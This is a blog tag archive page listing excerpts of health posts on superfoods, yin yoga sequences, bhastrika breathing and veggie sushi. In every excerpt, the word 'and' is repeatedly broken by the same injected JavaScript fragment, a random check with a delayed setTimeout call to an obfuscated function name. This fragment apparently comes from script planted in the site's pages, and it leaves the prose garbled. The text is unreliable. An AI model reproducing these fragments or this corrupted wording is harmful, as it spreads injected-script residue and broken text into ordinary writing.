Tag Archives: health

Superfood: Fennel

Tis the season, fennel season that is. Fennel season runs from September to June andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is especially abundant around the holiday season as it’s typically used in many Italian holiday dishes, such as salads, soups …

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Superfood: Mushrooms

Mushrooms are everywhere this time of year, they’re on our pizza, sauteed with herbs, in our pasta, soups andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and salads. And that’s exactly what makes mushrooms so great, packed with so much flavor, low in …

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Wintertime Yin Sequence

Running errandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands the other day, I noticed how many people were bustling around with their shoulders hunched forward andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands shoved into their pockets.   …

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Nourishing Supported Yin Sequence

This time of year, you may naturally find yourself more drawn to quiet, inward activities such as reading a book, working on a craft, or finally watching Food Inc. on a Saturday night instead of going out with friends.  This …

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How To Do Bhastrika Pranayama

Bhastrika in Sanskrit means bellows, as this practice is also known as bellow breath. In Bhastrika pranayama, the breathing pattern resembles the blowing of bellows – it’s all about inhaling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exhaling completely so that …

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Superfood: Jackfruit

I know you’re probably thinking jack what? I’ve never seen or heard of such a thing? Well get ready to be blown away. The jackfruit tree is native to Southeast Asia andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grows well in …

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Veggie Sushi for Meatless Monday

Once you get the hang of rolling sushi at home (be patient), it becomes a great, quick meal that you can customize to what’s in your fridge.  Those nori sheets are packed with nutrition, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and …

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Superfoods: Hot Peppers

All peppers, from bell peppers to ghost peppers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and every pepper in between contain compounds called capsaicsinoids, which is where their superfood goodness is found. It is capsaicsin that give peppers their spicy flavor andom()*5);if …

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30 Minute Lunchbreak Yin Sequence

Now that we’ve covered the vast majority of Yin poses, it’s time to start linking them together to reap even greater benefits.  This quick andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simple sequence is perfect for a mid-day pick-me-up, especially since …

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Swan andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sleeping Swan {Yin Series}

As we near the end of the Yin asana list, have you noticed a trend? The vast majority of Yin poses focus mostly on the lower half of the body. Before we broach the one major shoulder opener (don’t worry, it’s coming …

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